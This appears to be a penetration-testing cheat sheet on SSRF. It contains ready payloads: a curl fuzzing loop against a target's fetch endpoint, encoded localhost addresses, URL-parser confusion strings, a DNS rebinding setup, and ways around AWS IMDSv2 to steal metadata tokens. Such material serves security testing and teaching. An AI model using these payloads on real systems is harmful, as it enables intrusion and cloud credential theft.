SSRF — localhost bypasses, DNS rebinding, cloud metadata, gopher://

Quick answer

SSRF in 2026 is still active because most allowlists validate the host before DNS resolution and never re-validate after the redirect. The strategy: IP encoding (decimal/hex/octal/IPv6) → DNS rebinding for a dual-resolve target → redirect chain to file:// or gopher:// → cloud metadata (AWS IMDSv2 with headers, GCP Metadata-Flavor, Azure Metadata: true) → service-specific gopher to escalate to RCE in Redis/Memcache/MySQL.

Encoding the host — the first pass

The URL parser of the server-side language usually accepts forms that the validator doesn't consider. Before exotic payloads, try trivial IP variants:

Quick fuzzing script

for payload in 127.0.0.1 127.1 2130706433 0x7f000001 017700000001 \
               '[::]' '[::ffff:127.0.0.1]' localtest.me '127。0。0。1' 0; do
  curl -s -o /dev/null -w "%{http_code} $payload\n" \
       "https://target.com/api/fetch?url=http://$payload/"
done

A response different from the 4xx baseline (302, 200, 500) indicates that the payload passes the filter and the backend attempts a connection.

Hostname tricks — confusion between validator and client

The validator and the HTTP client usually use different parsers. The difference between the WHATWG URL Standard (browsers, modern parser) and RFC 3986 (legacy server-side parser):

http://attacker.com\@victim.com
       ↑ WHATWG ve "victim.com" como host (backslash = slash)
       ↑ RFC3986 parser server-side ve "attacker.com" como host

If the validator is in JS (WHATWG) and the fetcher in Python (RFC3986), the bypass is trivial.

@attacker.com.victim.com
victim.com#@attacker.com
victim.com@attacker.com
victim.com?@attacker.com
attacker.com;victim.com
victim.com%2eattacker.com

DNS rebinding — the universal bypass against TOCTOU

When the validator does one DNS resolution, confirms it's external, and then the fetcher does its own resolution, there's a window where DNS can answer 8.8.8.8 the first time and 169.254.169.254 the second.

Setup

1. The attacker controls a DNS server (rbndr.us, custom dynamic DNS or NCC Group's singularity).
2. A domain with TTL=0 that responds alternating IPs:
   • Query 1: 1.2.3.4 (public, passes the validator)
   • Query 2: 169.254.169.254 (IMDS, the fetcher connects)

Tooling

Singularity of Origin — an all-in-one framework:

sudo singularity_server --target=ssrf-target.tld --dns-port=53
# Configura *.s.your-dns.com → IP de Singularity
# Payload: http://s-1-2-3-4-rebind-127-0-0-1.s.your-dns.com/

Why AWS IMDSv2 mitigates it (and why it fails)

IMDSv2 requires:

1. PUT /latest/api/token (generates a session token).
2. GET /latest/meta-data/... with X-aws-ec2-metadata-token: <TOKEN>.

If the SSRF only allows GET → blocked. But:

• Many server-side HTTP parsers accept Host: header injection via CRLF in the URL → you can force a PUT.
• Non-standard methods via libcurl: curl -X PUT if the primitive allows it.
• If the language uses libraries that follow 307 redirects (which preserve the method) and the attacker controls a server that returns 307 Location: http://169.254.169.254/latest/api/token with the PUT method → token issued.